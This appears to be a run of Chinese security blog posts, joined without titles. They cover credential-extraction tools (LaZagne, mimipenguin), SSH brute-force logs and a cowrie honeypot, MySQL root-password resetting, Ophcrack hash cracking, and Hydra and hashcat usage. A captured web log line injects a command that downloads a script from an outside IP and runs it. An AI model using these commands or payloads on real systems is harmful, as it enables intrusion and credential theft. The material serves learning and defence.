很早就知道使用浏览器记住网站登录密码是很不安全的，若不设置主密码，浏览器记住的密码相当于明文存储在硬盘上。只不过存储在一个很深的目录中，一般用户找不到，这是一种“地下酒吧式的安全”。其他很多软件的记住密码也是同样的道理，不同的软件使用不同的技术保存密码，有些使用明文存储在纯文本文件中，有些存储在SQLite数据库中，有些使用固定密钥加密存储。理论上，这些密码都可以被提取出来。

有没有这样一个工具，一键提取所有软件记住的密码呢？想要覆盖“所有软件”显然是不可能的，但覆盖常见软件还是可行的。LaZagne便是这样一个工具。

LaZagne简介

LaZagne用Python编写，旨在一键提取系统中各种常见软件记住的密码。支持的操作系统和软件如下表所列：

LaZagnes使用

在该项目的releases页面可以下载发行版。

下载好后执行以下命令可以获取所有密码：

laZagne.exe all

只获取浏览器记住的密码：

laZagne.exe browsers

只获取firefox记住的密码：

laZagne.exe browsers -firefox

将输出保存到文件：

laZagne.exe all -oN

执行完该命令后会发现当前目录下多了一个文件，文件名类似：

credentials_23042019_225124.txt

-oN表示是纯文本格式（正常的）的输出，和屏幕打印内容相同；还可以写成-oJ，JSON格式的输出，更便于程序解析；或者写成-oA，同时输出两种格式。

加上参数-v或-vv可以输出调试信息。加上参数-quiet可以禁用屏幕输出，如：

laZagne.exe all -quiet -oA

还可以加参数-output指定输出到哪个目录，如：

laZagne.exe all -quiet -oA -output C:\Users\Werner\Desktop

若是知道用户密码，可以用参数-password输入，这样就可能解密出更多明文密码，如：

laZagne.exe all -password P@5sw0rd

若想提取到Windows记住的wifi密码，或其他凭据，需要使用管理员权限运行。而在Linux和Mac中，若有root权限，当然以root权限运行最佳。

更多用法见该项目的README.md文档。

相关文章

• 使用mimikatz获取Win7明文登录密码
• 使用mimipenguin获取linux明文登录密码

忽然收到腾讯云的报警短信，说是检测到来自某IP的异常登录行为，疑似被黑客入侵。于是我马上登录服务器，查看SSH登录失败日志，发现果然有人在暴力破解我的SSH用户名和密码。

$ lastb
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:03 - 09:03  (00:00)
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:02 - 09:02  (00:00)
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:00 - 09:00  (00:00)
butter   ssh:notty    13.251.164.85    Sun Nov 25 09:00 - 09:00  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:58 - 08:58  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:57 - 08:57  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:54 - 08:54  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:52 - 08:52  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:49 - 08:49  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:45 - 08:45  (00:00)
unix     ssh:notty    77.111.169.40    Sun Nov 25 08:44 - 08:44  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:44 - 08:44  (00:00)
butter   ssh:notty    13.251.164.85    Sun Nov 25 08:42 - 08:42  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:39 - 08:39  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:37 - 08:37  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:35 - 08:35  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:34 - 08:34  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:32 - 08:32  (00:00)
vpnguard ssh:notty    159.203.67.146   Sun Nov 25 08:27 - 08:27  (00:00)
elastics ssh:notty    111.230.245.244  Sun Nov 25 08:26 - 08:26  (00:00)

这里只展示了命令输出的一小部分，暴力破解是2018年11月3日09:38开始的，以每秒几次的速率一直持续到现在。到目前为止，共计尝试了18957次。

# lastb | wc -l
18957

更可怕的是，这一万多次暴力破解来自一千多个不同的IP地址。

# lastb | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | sort | uniq | wc -l
1397

0x02 Web扫描

前端时间在一台有公网IP地址的服务器上开了Python的静态HTTP服务器以下载一个文件，忘记关闭，过了一段时间去关，发现访问日志充满了漏洞扫描和暴力破解。十几天里有三千多条攻击记录。节选部分如下：

47.203.93.156 - - [04/Aug/2018 14:31:00] code 404, message File not found
47.203.93.156 - - [04/Aug/2018 14:31:00] "GET http://httpheader.net/ HTTP/1.1" 404 -
47.203.93.156 - - [04/Aug/2018 14:31:11] code 400, message Bad request syntax ('\x04\x01\x00P\xc0c\xf660\x00')
47.203.93.156 - - [04/Aug/2018 14:31:11] "
 P纁?0 " 400 -
47.203.93.156 - - [04/Aug/2018 14:31:21] code 400, message Bad request syntax ('\x05\x01\x00')
47.203.93.156 - - [04/Aug/2018 14:31:21] "
 " 400 -
156.212.246.226 - - [05/Aug/2018 10:49:15] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 404 -
115.231.233.9 - - [05/Aug/2018 11:45:39] "GET /phpMyAdmin/index.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:32] code 501, message Unsupported method ('PROPFIND')
186.23.59.137 - - [05/Aug/2018 12:42:33] "GET /help.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:37] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:37] "GET /_query.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:38] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:38] "GET /test.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:53] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:53] "GET /log.php HTTP/1.1" 404 -
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /56.php HTTP/1.1" 501 -
125.27.179.27 - - [06/Aug/2018 23:00:27] code 501, message Unsupported method ('POST')
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /mz.php HTTP/1.1" 501 -
94.23.220.43 - - [07/Aug/2018 00:56:00] "GET /CFIDE/administrator/ HTTP/1.1" 404 -
117.27.159.157 - - [09/Aug/2018 16:06:57] "GET /index.action HTTP/1.1" 404 -
209.141.55.13 - - [10/Aug/2018 18:04:36] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 -
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /hm.php HTTP/1.1" 501 -
119.23.26.66 - - [11/Aug/2018 10:14:34] code 501, message Unsupported method ('POST')
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /cainiao.php HTTP/1.1" 501 -
5.8.54.27 - - [21/Aug/2018 09:48:30] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 -

0x03 使用蜜罐防范攻击

这两件事情让我意识到，网络攻击无处不在。真正的黑客虽然不多，但自动化的攻击让每个黑客都可以贡献出巨大的流量。

如何应对这类攻击呢？我以docker的方式安装了中等交互蜜罐cowrie。

我的系统是Ubuntu14.04，安装过程如下：

1.修改SSH服务端口

在部署蜜罐前先将SSH服务的端口改掉，这通过修改配置文件来完成：

vim /etc/ssh/sshd_config

修改后重启SSH服务使得新配置生效：

sudo /etc/init.d/ssh restart

２.安装docker版cowrie蜜罐

首先安装docker：

sudo wget -qO- https://get.docker.com/ | sh

然后将一个非root用户添加到docker组，这样就能以非root用户运行docker：

sudo usermod -aG docker no-root-user

接着下载cowrie镜像：

docker pull cowrie/cowrie

最后运行cowrie蜜罐：

docker run -p 22:2222 cowrie/cowrie

参数-p做了端口映射，将主机的22端口映射到docker容器的2222端口（cowrie默认的SSH服务端口）。

3.查看cowrie的输出

刚刚运行就看到了大量的日志，截取部分如下：

2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] NEW KEYS
2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] starting service b'ssh-userauth'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] b'acogec' trying auth b'password'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] Could not read etc/userdb.txt, default database activated
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] login attempt [b'acogec'/b'acogec123'] failed
2018-12-01T01:41:12+0000 [-] b'acogec' failed auth b'password'

后台运行可添加参数-d：

docker run -d -p 22:2222 cowrie/cowrie:latest

在后台运行时如何查看日志呢？

先查看cowrie的CONTAINER ID：

$ docker ps
CONTAINER ID        IMAGE                  COMMAND             CREATED             STATUS              PORTS                            NAMES
5f09eab15463        cowrie/cowrie:latest   "cowrie start -n"   6 minutes ago       Up 6 minutes        2223/tcp, 0.0.0.0:22->2222/tcp   confident_panini

然后进入到容器内部：

docker exec -it 5f09eab15463 /bin/bash

进入容器内部后就可以查看日志了：

cat ~/cowrie-git/var/log/cowrie/cowrie.json

４.配置cowrie输出到sqlite3数据库

但这样看到的日志是JSON格式的，不便于统计。cowrie提供了输出到数据库的功能，只是docker中没有配置。现在我们来配置它：

首先以root用户身份进入到docker容器中：

docker exec -u root -it 5f09eab15463 /bin/bash

安装用于修改配置文件的vim：

apt-get install vim

安装数据库sqlite3，之所以使用sqlite3是因为该数据库较为轻量，占用内存较少：

apt-get install sqlite3

接着新建配置文件cowrie.cfg，内容如下：

# cat cowrie-git/cowrie.cfg
[output_sqlite]
enabled = true
db_file = cowrie.db

然后初始化数据库，cowrie.db也在目录cowrie-git下：

sqlite3 cowrie.db < docs/sql/sqlite3.sql

修改配置文件和数据库文件的所有者：

chown cowrie:cowrie cowrie.cfg
chown cowrie:cowrie cowrie.db

保存对容器的修改：

docker commit 5f09eab15463 cowrie/cowrie

最后退出容器，重启docker：

docker stop 5f09eab15463
docker run -d -p 22:2222 cowrie/cowrie:latest

重启后过段时间进入到容器内部，查看数据库中数据：

# sqlite3 cowrie.db 
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.
sqlite> .table
auth             input            sensors        
clients          keyfingerprints  sessions       
downloads        params           ttylog         
sqlite> select * from auth;
1|a09fd9f00e15|0|michel|password123|2018-12-01T03:08:28.423070Z
2|c1855fc2dde7|0|ale|ale|2018-12-01T03:09:17.309824Z
3|92d390074e0b|0|weblogic|654321|2018-12-01T03:09:38.139350Z
4|8c0a4a1c1c57|0|b2|b2|2018-12-01T03:09:39.818113Z
5|8b7369499a3d|0|joshua|joshua123|2018-12-01T03:09:57.069270Z
6|6ef4f60e0961|0|matilda|123456|2018-12-01T03:09:59.964616Z
7|f7ed2d311e5a|0|ftpadmin|test|2018-12-01T03:10:02.564809Z
8|22ff162f41eb|0|postgres3|postgres3|2018-12-01T03:10:04.318106Z
9|2201f65fcab2|1|root|admin|2018-12-01T03:10:12.634901Z
10|338193bafc29|0|odoo|12|2018-12-01T03:10:13.408241Z
11|6bbfa429bbcd|0|whiting|whiting123|2018-12-01T03:10:30.459699Z
sqlite>.exit

在auth表中可以看到暴力破解使用的用户名和密码。

5.参考

• 《欺负一下暴力破解 SSH 密码的脚本小子，分享一个 SSH 蜜罐》

0x04 其他

这是我第一次使用docker，觉得很方便。操作起来颇有一种git的感觉。

来做个实验，先随便连几个wifi，随便输个密码，如下图所示：

然后进入存储用户wifi密码的目录：

  cd /etc/NetworkManager/system-connections

查看密码，如下图所示：

每一个wifi对应着一个以wifi名命名的独立文件,文件中“psk=”后边便是该wifi的密码，明文存储。可见，Ubuntu桌面版确实明文存储用户输入的wifi密码。

一个完整的wifi文件内容如下所示：

  [connection]
  id=猎豹免费WiFi700
  uuid=a588ff36-3b01-44d0-b3fb-05d1a3cf9606
  type=802-11-wireless

  [802-11-wireless]
  ssid=231;140;142;232;177;185;229;133;141;232;180;185;87;105;70;105;55;48;48;
  mode=infrastructure
  mac-address=00:71:CC:98:60:FF
  security=802-11-wireless-security

  [802-11-wireless-security]
  key-mgmt=wpa-psk
  auth-alg=open
  psk=p@ssW0rd

  [ipv4]
  method=auto

  [ipv6]
  method=auto

所有信息都是以文本文件明文存储的，除了用户密码外，还保存着wifi名、MAC地址、SSID等信息。
虽然读取该文件需要root权限，但这依旧很不安全，因为这些数据没有任何加密就保存在磁盘上，攻击者有很多方法绕过操作系统的权限控制，读取文件内容。

由于wifi密码要拿去做登录验证，所以存储密码的Hash值显然是不行的。但Ubuntu为何要将一个用户输入的wifi密码保存到/etc目录中而不是用户自己的主目录呢？在Ubuntu中，用户目录是可选加密的，若用户选择了加密自己的主目录，则将密码保存在用户主目录中会更安全。/etc目录不属于某个用户所有，是系统目录。将wifi密码保存在系统目录中，便有各个用户共享的含义。确实是这样，在ubuntu的网络配置中，默认勾选了“All users may connect to this network”（Edit Connections…->选择一个wifi->Edit…->General），如下图所示：

去掉这个选项前的钩，再输入密码，然后去查看该wifi对应的文件，发现其中没有保存明文密码，并出现了

  permissions=user:werner:;

以表明该wifi是哪个用户连接的。完整的wifi文件如下所示：

  [connection]
  id=AJack
  uuid=686ada98-1f4d-4bc2-9286-cd9c13fdb323
  type=802-11-wireless
  permissions=user:werner:;

  [802-11-wireless]
  ssid=AJack
  mode=infrastructure
  mac-address=00:71:CC:98:60:FF
  security=802-11-wireless-security

  [802-11-wireless-security]
  key-mgmt=wpa-psk
  wep-key-flags=1
  psk-flags=1
  leap-password-flags=1

  [ipv4]
  method=auto

  [ipv6]
  method=auto

在这种情况下，wifi密码又保存在哪里？我在整个磁盘范围内搜索名为“AJack”的文件，结果只找到了一个，就是上面那个。又查了一些资料，也没有找到，只好暂时搁置这一问题。

测试环境：Ubuntu14.04 + Mysql5.5.57。

skip-grant-tables

顾名思义，“skip-grant-tables”是跳过授权表，不用密码便可以root身份登录，具有完全的root用户权限，可以修改root密码。

在网上找到一些文章，说停止Mysql服务后以“–skip-grant-tables”为参数启动Mysql便可以免密码登录，但在我的测试中，这种方式是无效的。有效的方法是在Mysql的配置文件中添加“skip-grant-tables”，再重启Mysql，之后便可以免密码登录。

在Linux中，Mysql的配置文件是my.cnf，它位于/etc/my.cnf或是/etc/mysql/my.cnf等，具体在哪，取决于Linux发行版本和Mysql安装方式。打开my.cnf，搜索“[mysqld]”，在这行下面添加一行，内容为：“skip-grant-tables”，如下图所示：

添加完成后重启Mysql服务，在我的测试环境中，用如下命令重启Mysql服务：

    sudo /etc/init.d/mysql restart

此时再登录Mysql，便不需要密码了，如下图所示：

修改root用户密码Hash值

Linux中，Mysql用户密码以Hash值的形式存储在文件user.MYD中，可用如下命令找到该文件位置：

  sudo find / -name user.MYD

查看该文件同样需要sudo权限，用cat命令查看该文件内容如下图所示：

可以看到该文件中有许多长得很像Hash值的东西。我们自己计算一个已知的字符串的Hash值，替换掉该文件中的Hash值，便可以达到修改root密码的目的。

这里有一个问题，Mysql在保存用户密码时使用了什么Hash算法？简单谷歌一下便知道，使用的算法如下：

  mysql> select concat('*',sha1(unhex(sha1('toor'))));
  +-------------------------------------------+
  | concat('*',sha1(unhex(sha1('toor'))))     |
  +-------------------------------------------+
  | *9cfbbc772f3f6c106020035386da5bbbf1249a11 |
  +-------------------------------------------+
  1 row in set (0.00 sec)

基本上是做了两次sha1，再在所得字符串前加上“*”，只不过在两次sha1中间还有一个unhex函数，
该函数的作用是将每对十六进制数字转化为一个字符，如unhex(‘616263’)的输出为“abc”。

此外，Mysql有内置函数password，可直接计算密码的Hash值：

    mysql> select password('toor');
    +-------------------------------------------+
    | password('toor')                          |
    +-------------------------------------------+
    | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
    +-------------------------------------------+
    1 row in set (0.00 sec)

好了，现在用“9cfbbc…1”替换user.MYD文件中的“6B8252…B”，保存后尝试用密码“toor”登录Mysql的root用户，登录失败！
推测Mysql对该文件有所缓存，故重启Mysql，再次尝试用“toor”登录Mysql的root用户，这次成功登录。

参考文献

• MySQL 忘记密码：skip-grant-tables
• 关于MySQL密码你应该知道的那些事

mimipenguin是直接从内存中读取明文密码的，除了登录密码，还可以获取其他服务的密码，有shell和Python两个版本，两个版本支持的服务如下表所示，“X”表示完全支持，“~”表示有已知bug：

官方给出的支持的系统有：

• Kali 4.3.0 (rolling) x64 (gdm3)
• Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
• Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
• XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
• Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
• OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
• VSFTPd 3.0.3-8+b1 (Active FTP client connections)
• Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
• openssh-server 1:7.3p1-1 (Active SSH connections – sudo usage)

我在自己的Ubuntu Desktop 14.04 LTS x64上试了下，果然不支持。

（2017.09.22：又在Ubuntu Desktop 14.04 LTS x64上试了下，竟然成功了，如下图所示：）

mimipenguin其实是有些鸡肋的，因为要成功地运行它，需要root权限，而在linux中，获得root权限往往是要输入密码的。我既然都已经知道密码了，干嘛要用mimipenguin呢？

兄弟文章：使用mimikatz获取Win7明文登录密码

（2017.09.22：mimipenguin的原理分析见：mimipenguin.py源码解读）

hashcat很快，快在对硬件资源的充分利用上。Ophcrack更快，快在算法。Ophcrack在破解hash时，需要预计算的hash值作为辅助，存储这些预计算的hash值的文件被称为彩虹表。彩虹表并不是简单的原值-hash值对应表，Ophcrack也不是简单的查表破解hash值。因为简单的原值-hash值对应表过于庞大，超过了我们的存储极限，单纯的以空间换时间会发现空间不够用。彩虹表进行了一些预计算，但只保存了最为关键的部分运算结果，以减小空间消耗，同时在破解时也需要进行一些计算，来补全丢弃的部分，最终达到时间与空间的平衡。关于彩虹表的原理，详情可见什么是彩虹表？

彩虹表可以破解各种hash函数，每个hash函数，乃至不同的字符集（密码使用了哪些字符），都需要不同的彩虹表。Ophcrack专注于使用彩虹表破解两种hash：LM-Hash和NTLM-Hash。没错，它瞄准的就是Windows的登录密码。现在，让我们尝试用Ophcrack破解Windows7的登录密码的NTLM-Hash。

首先，我们需要获得Ophcrack。Ophcrack开源的，也是跨平台的，在它的官网可以下载到各个操作系统下的安装程序。Ophcrack具有图形界面，安装极为简单，Kali中也默认安装了Ophcrack。我打算在Ubuntu14.04里安装Ophcrack。

下载Ophcrack源码，得到压缩包ophcrack-3.7.0.tar.bz2，运行如下命令解压并进入Ophcrack源码目录：

    tar -jxvf ophcrack-3.7.0.tar.bz2
    cd ophcrack-3.7.0

运行如下命令编译安装：

    ./configure
    make
    sudo make install

直接运行上述命令可能会报缺少依赖的错误，为了解决这些错误，我总共安装了下面这些东西：

    sudo apt-get install libssl-dev
    sudo apt-get install libexpat-dev
    sudo apt-get install libsoqt4-dev

安装好这些依赖后再运行上面的编译安装的命令，便能够成功编译安装了。

然后，我们需要下载彩虹表，Ophcrack的官网提供了一些免费的彩虹表和更为高级的收费的彩虹表，点击这里查看详情。此外，网络中还可以找到许多其他彩虹表，如freerainbowtables和List of Rainbow Tables。我想破解的是NTLM-Hash，所以下载了官网的“All free Vista tables (11.9GB)”，寝室网速不好，下载了整整一晚上呢。

好了，现在我们有了Ophcrack，有了彩虹表，就差待破解的NTLM-Hash了。打开Windows7虚拟机，新建一个账户，设置密码，用SAMInside获取其NTLM-Hash。获取hash的具体过程在我的另一篇文章中有较为详细的叙述，这里不再重复。获取到的NTLM-Hash值为：

  9B4630AD526AF538FC26435476A9723F

终于可以开始破解了，在终端中输入命令ophcrack打开Ophcrack。第一次使用，需要先安装彩虹表，所谓安装彩虹表，实质上是指定彩虹表的文件路径。据说彩虹表必须放在名为tables的文件夹中才能被正确安装，至少我测试时是这样的。点击Ophcrack主界面的Tables按钮，进入彩虹表界面，点击彩虹表界面右下方的install安装彩虹表，安装彩虹表如下图（截图截的是Kali中的，和Ubuntu下没什么区别）所示。

安好后的界面如下图所示，选中的那列就是我刚刚安装的彩虹表。

回到Ophcrack主界面，点击Load按钮，选择Single hash，打开载入单个hash的界面，输入刚刚我们从Windows7中获得的NTLM-Hash，如下图所示。之所以输入两次，中间用冒号隔开，是为了格式上的正确，我们没有取LM-hash，就用NTLM-Hash代替。由于我们只关心NTLM-Hash是否被破解，故而这不会对结果有什么影响。

成功载入NTLM-Hash后，点击主界面的Crack按钮，开始破解。很令人惊讶，十几秒后，破解成功，如下图所示，成功得破解出了密码为：V5(3ja，耗时19s。

好吧，密码是很短，这是由于我预先知道免费的彩虹表能力有限，故而设置简单的密码，使得我能够成功破解。各个彩虹表对于的字符集、密码长度和破解成功率，官网上都写得很清楚，我这里就不再重复了。大概看了下，免费的彩虹表多少有些鸡肋，要想获得强悍地破解能力，还是需要付费购买专业版的彩虹表的。

接下来，我又下载了更多的彩虹表，尝试破解更多的NTLM-Hash，结果如下图所示，仅用一分多钟，就破解了全部5个密码。这一结果远超我预期，我以为其中会有几个密码是无法破解的。虽然这些密码还是比较弱，但某些偷懒的人设的密码也就这个强度。

我把用户名特意设为密码值，是为了有密码破解不出时便于观察，怎样的密码没有被破解。结果全部都被破解了，这一设置也就没有意义了。免费的彩虹表尚有如此威力，普通的密码，在付费的高级彩虹表面前岂不是毫无招架之力了。

Hydra号称是世界顶级的密码暴力破解工具，专业破解各种网络服务的用户名和密码，几乎支持所有知名服务，我的Kali中的Hydra是v8.3，支持的网络服务有：

asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

我知道的网络服务它都有所覆盖，看上去好强。嗯，强大到它特意提醒，不要用于军队和秘密组织，或是其他非法用途。

其实Hydra是很容易使用的，命令语法如下：

    hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]

之所以要特意写一篇博文，就是为了记录一下有这么一个工具。但若到此为止，这篇文章也未免太水了点，所以，翻译下Hydra各个参数的意思吧：

  -R        恢复前一次失败的或缓存的攻击
  -S        使用SSL连接
  -s PORT   若是服务没有使用默认端口，则用这一参数指定端口
  -l LOGIN or -L FILE  把LOGIN作为登录名，或是从文件FILE中载入一系列登录名
  -p PASS  or -P FILE  将PASS作为密码, 或是从文件FILE中载入一系列密码
  -x MIN:MAX:CHARSET  生成暴力破解用的密码, 输入 "-x -h" 获得更多帮助
  -e nsr    尝试： n 空密码，s 将登录名作为密码，r 反转登录
  -u        循环用户名, 不使用密码 (有效的! 用 -x 说明)
  -C FILE   取代 -L/-P 选项，输入格式是以冒号分割："login:pass"
  -M FILE   要攻击的服务器列表, 一行一个, 用':'指定端口
  -o FILE   将找到的用户名/密码对写入到文件FILE中，而不输出到标准输出
  -f / -F   当找到一对用户名/密码后退出 (-M: -f 每个主机, -F 全局)
  -t TASKS  同时运行TASKS个线程 (每个主机默认为16)
  -w / -W TIME  每个请求的等待时间 (32) / 线程之间发起连接的时间间隔 (0)
  -4 / -6   使用IPv4 (默认) / IPv6 地址 (put always in [] also in -M)
  -v / -V / -d  冗余模式 / 展示每次攻击时使用的用户名和密码 / 调试模式
  -O        使用旧版的SSL v2 和 v3
  -q        不输出有关连接错误的信息
  -U        服务模块用法细节
  server    目标服务器: DNS, IP or 192.168.0.0/24 (使用此选项或 -M 选项)
  service   要破解的服务 (支持的协议在上面已经给出了)
  OPT       一些服务模块支持额外的输入 (参数 -U 可查看模块帮助)

用HYDRA_PROXY_HTTP或HYDRA_PROXY（如果需要，则用HYDRA_PROXY_AUTH指定用户名密码）来配置代理，例如：

  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
  % export HYDRA_PROXY_HTTP=http://proxy:8080
  % export HYDRA_PROXY_AUTH=user:pass

下面是几个使用示例:

  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

注意到有一种服务类型为：http[s]-{get|post}-form，选择此服务类型，Hydra会发送Web的form表单模拟登录，可选POST或GET方式。下面是以POST方式提交form表单、暴力破解登录密码的例子：

  hydra -L userlist.txt -P passlist.txt 192.168.56.101 http-post-form "/admin/login.jsp:username=^USER^&password=^PASS^&submit=login:wrong username or password"

可以看到，在服务类型http-post-form后，还有一个长长的字符串参数，这个参数被“:”分割成了三部分，分别是：

• /admin/login.jsp
• username=^USER^&password=^PASS^&submit=login
• wrong username or password

第一部分是登录页面的路径；第二部分是表单字段，用“^USER^”作为用户名的占位符、“^PASS^”作为登录密码的占位符；第三部分是错误提示，即用户名或密码错误时返回页面中包含的一段字符串，Hydra根据这个字符串来判断登录是否成功。

问题便是Mask过于强大，轻易构造很大的密码空间，跑完这些密码，花费的时间可能超过了我们的等待极限。为了能在实际使用中更好的选择Mask，需要对不同的Mask花费的时间有一个感性的认识，所以我测试了各种Mask的耗时，记录于此。

在测试中，统一破解同一个sha1值：54477ac9fdce357a05e7f68694a0b29c068c3b50，它是这么来的：

    >>> import hashlib
    >>> hashlib.sha1("123GB^*HE@R*G@&DF$^!#@^").hexdigest()
    '54477ac9fdce357a05e7f68694a0b29c068c3b50'

很明显这个sha1值几乎不可能被破解，这样做是为了保证整个密码空间都被跑遍，而不是中途停掉。统计时间的方式有两种，一是耗时较短的，直接让它跑完，统计实际耗时，二是耗时很长的，查看hashcat的估计时间，以估计时间为耗时。破解时使用的命令均为：

    hashcat -w 3 -a 3 -m 4500 54477ac9fdce357a05e7f68694a0b29c068c3b50 Mask

统计结果如下表所示：

上面的测试都是在我自己的电脑上进行的，且都只进行了一次，难以说明问题，但我们的目的一开始便是为了得到“感性的认识”，所以，这是足够的。

同时，我们也知道了，一个好的密码至少应包含大写字母、小写字母、数字和标点符合，且长度不小于8位。

Rule-based Attack

译文

描述

基于规则的攻击是最为复杂的攻击之一。这样说的原因很简单。基于规则的攻击就像是设计用于产生候选密码的编程语言。例如，它有用于修改、切断、扩展单词的函数，有用于跳过某些单词的条件操作。这些特性使它成为最为灵活、精确和有效的攻击模式。

为何不使用正则表达式

为何要重复造轮子？很简单啊，正则表达式太慢了。通常，我们不得不在赶在hash算法开始之前——10ms内，生成1,000,000,000或更多的新鲜候选密码，而且这一过程要一再重复。只需看一眼你的GPU速度显示就知道该如何决定。

和其他规则引擎的兼容性

hashcat的规则引擎中，只要函数名和John the Ripper和PasswordsPro规则引擎中的函数名是一样的，那么该函数便是100%兼容的，反之亦然。稍后，我们会介绍一些我们自己和、不兼容的函数。但这些函数有他们自己的名字不会产生冲突。

实现了的兼容函数

下列函数100%兼容于John the Ripper和PasswordsPro:

• *代表N从0开始。超过9的字符位置用A-Z来表示（A-10）
• +代表这条规则仅仅在hashcat中实现了
• #在oclHashcat v1.37→v1.38和hashcat v0.51→v0.52之间有所变动

译者注：“改变单词中所有字母的大小写”的“改变大小写”原文为“toggle case”。怎么个改变法？大写变小写，小写变大写，如输入为abCdE，输出则为ABcDe。

译者注：uMl4中包含4个函数：u、M、l、4。u函数将输入的p@ssW0rd转换为P@SSW0RD，M函数将P@SSW0RD存储到内存中，l函数将输入（也即是M函数的输出，为P@SSW0RD）中所有大写字母转为小写，输出为p@ssw0rd，4函数的输入是p@ssw0rd，将内存中的词（P@SSW0RD）添加到当前词（即输入）的后面，输出为p@ssw0rdP@SSW0RD。lMX428、rMr6和lMuX084同理。

丢弃文本的规则

注意：丢弃规则仅仅在hashcat-legacy或是使用“-j”、“-k”的hashcat中有效。在hashcat中，丢弃规则不会作为常规规则（在规则文件中的）而发生效力。

译者注：回文字符串是指形如“aaabbcbbaaa”这样正着反着读一模一样的字符串。

实现了的特有函数

下列函数在John the Ripper或是PasswordsPro中是无效的：

• *代表N从0开始。超过9的字符位置用A-Z来表示（A-10）
• +仅仅在John the Ripper中有效？
• #在测试版或未正式发行版中有效

书写规则

书写规则最重要的事情是搞清楚你想写什么。这通常意味着你必须分析十几个明文密码，而这些明文密码是被习惯设置的，来总结有什么共同之处。例如，人们常常在他们的密码后添加数字以增加密码长度。所以，我们便总结出了一下两个“要素”：

• 我们想在后边添加些什么
• 想添加在后边的是数字

回顾下函数列表，我们会发现在后边添加些什么应该使用函数“$”。所以，如果我们想在密码后添加“1”，我们应该写出这样的规则：

    $1

这确实很简单。但如果我们想添加1-9的所有数字呢？这就要用到一种叫做混合攻击的模式了。

需要注意：

• 如果不是被用作参数，空白字符将被忽略。这会使源码看上去整齐些。
• 用字符“#”开头表示注释一行

生成规则

有两种方式自动地生成规则。

• 使用maskprocessor,这里有专门的文章讨论这一话题：Using maskprocessor to create rules
• 使用随机规则，见下文

随机规则

这是hashcat独有的特性。你可以使用hashcat生成直接作用于当下命令的随机规则。当你已经尝试过作用于你的所有字典的所有规则后若是不知道接下来要干什么，这便是一件好事情。有三种配置参数：

让hashcat生成应用于每个攻击的NUM条规则：

    --generate-rules=NUM

要指定函数数量（最小值到最大值的一个范围）则应该使用：

    --generate-rules-func-min=NUM
    --generate-rules-func-max=NUM

